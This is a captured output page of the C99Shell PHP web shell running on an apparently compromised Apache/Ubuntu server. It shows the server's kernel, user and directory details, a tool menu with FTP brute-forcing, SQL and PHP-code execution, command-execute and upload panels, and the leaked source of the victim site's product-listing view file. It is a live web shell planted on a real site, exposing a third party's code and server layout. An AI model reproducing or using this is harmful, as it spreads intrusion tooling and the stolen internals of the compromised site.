!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.4.18 (Ubuntu). PHP/7.0.33-0ubuntu0.16.04.16 

uname -a: Linux digifus 3.13.0-57-generic #95-Ubuntu SMP Fri Jun 19 09:28:15 UTC 2015 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/almazenServer/application/views/   drwxr-xr-x
Free 10.11 GB of 29.4 GB (34.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     test.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
    
    <?php
        
//ruta local
        //$ruta="C:\Bitnami\wampstack-5.4.31-0\apache2\htdocs\imagenesAlmazen\\";
        //ruta server
        
$ruta="/var/www/html/imagenesAlmazen_new/";
    
$this->table->set_heading'Imagen','Nombre','Descripcion''Precio','Estado','Cantidad','Ingresado','Agregar Carrito'); //crea la primera fila de la tabla con el encabezado
            
$tmp = array ( 'table_open'  => '<table class="table table-bordered table-striped" id="busquedaProductos" width="80%">' ); //modifica el espaciado
            
$i=1;
        
            
$this->table->set_template($tmp); //aplico los cambios de modificacion anterior
              
foreach($noticias as $dato):
                  
$boton=null;
              if ((
$dato->estado != "PEND INGRESO")){
                  
//if(($dato->estado == "AGOTADO")or($dato->estado == "")or($dato->stock<=0)){
                      
if(($dato->estado == "AGOTADO")or($dato->estado == "")){
                      
$boton='<input class="btn btn-success"  style="width: 65%;"  name="botonDetalle" id="botonDetalle"  value="AGREGAR PRODUCTO" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio.','."'".$dato->estado ."'".');" disabled>';
                  }else {
                      
$boton='<input class="btn btn-success"  style="width: 65%;"  name="botonDetalle" id="botonDetalle"  value="AGREGAR PRODUCTO" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio.','."'".$dato->estado ."'".');">';
                  }
              }else{
                  
                  
$boton='<input class="btn btn-success"  style="width: 65%;"  name="botonDetalle" id="botonDetalle"  value="AGREGAR PRODUCTO" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio.','."'".$dato->estado ."'".');">';
                  
              }
    
        
/*          if(($dato->estado == "AGOTADO")or($dato->estado == "")or($dato->stock<=0)){    
                      $boton='<input class="btn btn-success"  style="width: 60%;"  name="botonDetalle" id="botonDetalle"  value="AGREGAR PRODUCTO" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio.');" disabled>';
                  }else {
                       $boton='<input class="btn btn-success"  style="width: 60%;"  name="botonDetalle" id="botonDetalle"  value="AGREGAR PRODUCTO" onclick="ingresarCarrito('."'".$dato->nombre."'".','.$i.','.$dato->precio.');">';
                  }
            */      
              
$file=$ruta.$dato->nombre.".jpg";
              if(
file_exists($file)){
                  
$archFoto=$dato->nombre.".jpg";
              }else{
                  
$archFoto="nodisp.jpg";
              }
              
$this->table->add_row(
                            
"
    <div class='image'><img style='width:100px; height:100px;' src='"
.base_url()."../../imagenesAlmazen_new/".$archFoto."'/>    </div>
"
,$dato->nombre,$dato->descripcion,$dato->precio,$dato->estado'<input type="number" style="height:30px;width: 70%;" name="cantidadProd_'.$i.'" id="cantidadProd_'.$i.'">','<input type="checkbox" id="ingresado_'.$i.'" name="ingresado_'.$i.'">',$boton); //agregamos la celda a la tabla por cada iteracion
              
$i++;
              endforeach;

            echo 
$this->table->generate(); //cuando termina generamos la tabla a partir del vector
            
    
?>

<?= $paginacion?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0049 ]--